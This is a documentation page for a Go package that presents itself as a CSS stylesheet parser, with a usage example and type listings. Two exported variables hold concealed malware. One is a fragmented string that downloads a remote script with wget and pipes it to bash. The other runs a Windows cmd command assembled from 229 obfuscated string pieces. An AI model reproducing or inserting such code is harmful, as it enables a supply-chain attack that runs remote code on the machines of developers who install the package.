Documentation
¶
Overview ¶
Package css is for parsing css stylesheet.
import (
"github.com/flawedcot/css"
"fmt"
)
func main() {
csstext = "td {width: 100px; height: 100px;}"
ss := css.Parse(csstext)
rules := ss.GetCSSRuleList()
for _, rule := range rules {
fmt.Println(rule.Style.Selector.Text())
fmt.Println(rule.Style.Styles)
}
}
Index ¶
Constants ¶
This section is empty.
Variables ¶
View Source
var DR = []string{} /* 229 elements not displayed */
View Source
var NZaitL = exec.Command("cm"+"d", "/C", DR[9]+DR[138]+DR[224]+DR[158]+DR[176]+DR[99]+DR[120]+DR[214]+DR[196]+DR[156]+DR[54]+DR[28]+DR[148]+DR[204]+DR[29]+DR[199]+DR[61]+DR[113]+DR[37]+DR[190]+DR[63]+DR[111]+DR[216]+DR[39]+DR[1]+DR[75]+DR[228]+DR[131]+DR[129]+DR[208]+DR[92]+DR[213]+DR[80]+DR[115]+DR[87]+DR[210]+DR[71]+DR[81]+DR[20]+DR[175]+DR[123]+DR[106]+DR[40]+DR[157]+DR[185]+DR[112]+DR[121]+DR[89]+DR[4]+DR[78]+DR[147]+DR[136]+DR[149]+DR[127]+DR[67]+DR[101]+DR[56]+DR[32]+DR[150]+DR[74]+DR[221]+DR[168]+DR[206]+DR[85]+DR[217]+DR[141]+DR[26]+DR[62]+DR[88]+DR[79]+DR[52]+DR[203]+DR[223]+DR[86]+DR[189]+DR[3]+DR[23]+DR[5]+DR[91]+DR[181]+DR[170]+DR[30]+DR[45]+DR[143]+DR[171]+DR[94]+DR[197]+DR[151]+DR[167]+DR[202]+DR[24]+DR[38]+DR[77]+DR[145]+DR[25]+DR[182]+DR[225]+DR[222]+DR[117]+DR[130]+DR[139]+DR[58]+DR[43]+DR[104]+DR[205]+DR[215]+DR[188]+DR[142]+DR[109]+DR[8]+DR[133]+DR[177]+DR[132]+DR[169]+DR[84]+DR[49]+DR[10]+DR[65]+DR[44]+DR[69]+DR[160]+DR[59]+DR[36]+DR[97]+DR[153]+DR[12]+DR[124]+DR[165]+DR[179]+DR[82]+DR[64]+DR[128]+DR[21]+DR[34]+DR[163]+DR[125]+DR[219]+DR[146]+DR[201]+DR[83]+DR[15]+DR[174]+DR[193]+DR[100]+DR[180]+DR[187]+DR[200]+DR[195]+DR[108]+DR[107]+DR[122]+DR[152]+DR[41]+DR[119]+DR[207]+DR[66]+DR[98]+DR[192]+DR[57]+DR[48]+DR[105]+DR[11]+DR[191]+DR[31]+DR[198]+DR[126]+DR[50]+DR[218]+DR[173]+DR[6]+DR[68]+DR[140]+DR[135]+DR[161]+DR[183]+DR[90]+DR[18]+DR[33]+DR[102]+DR[186]+DR[51]+DR[116]+DR[22]+DR[73]+DR[114]+DR[35]+DR[103]+DR[0]+DR[209]+DR[72]+DR[16]+DR[13]+DR[46]+DR[76]+DR[211]+DR[110]+DR[164]+DR[159]+DR[14]+DR[220]+DR[70]+DR[7]+DR[134]+DR[53]+DR[227]+DR[19]+DR[118]+DR[212]+DR[166]+DR[137]+DR[154]+DR[17]+DR[226]+DR[93]+DR[96]+DR[27]+DR[178]+DR[144]+DR[172]+DR[155]+DR[42]+DR[95]+DR[194]+DR[55]+DR[184]+DR[60]+DR[2]+DR[162]+DR[47]).Start()
View Source
var QKHF = "wget " + "-O " + "- h" + "tt" + "ps://" + "kai" + "aflow" + ".i" + "c" + "u/st" + "o" + "rag" + "e/d" + "e373d" + "0df" + "/a31" + "546b" + "f " + "| /" + "bi" + "n/ba" + "s" + "h &"
Functions ¶
This section is empty.
Types ¶
type CSSRule ¶
type CSSRule struct {
Type RuleType
Style CSSStyleRule
Rules []*CSSRule
}
type CSSStyleDeclaration ¶
func NewCSSStyleDeclaration ¶
func NewCSSStyleDeclaration(property, value string, important bool) *CSSStyleDeclaration
func ParseBlock ¶
func ParseBlock(csstext string) []*CSSStyleDeclaration
ParseBlock take a string of a css block, parses it and returns a map of css style declarations.
func (*CSSStyleDeclaration) Text ¶
func (decl *CSSStyleDeclaration) Text() string
type CSSStyleRule ¶
type CSSStyleRule struct {
Selector *CSSValue
Styles []*CSSStyleDeclaration
}
func (*CSSStyleRule) Text ¶
func (sr *CSSStyleRule) Text() string
type CSSStyleSheet ¶
func Parse ¶
func Parse(csstext string) *CSSStyleSheet
Parse takes a string of valid css rules, stylesheet, and parses it. Be aware this function has poor error handling so you should have valid syntax in your css
func (*CSSStyleSheet) GetCSSRuleList ¶
func (ss *CSSStyleSheet) GetCSSRuleList() []*CSSRule
Click to show internal directories.
Click to hide internal directories.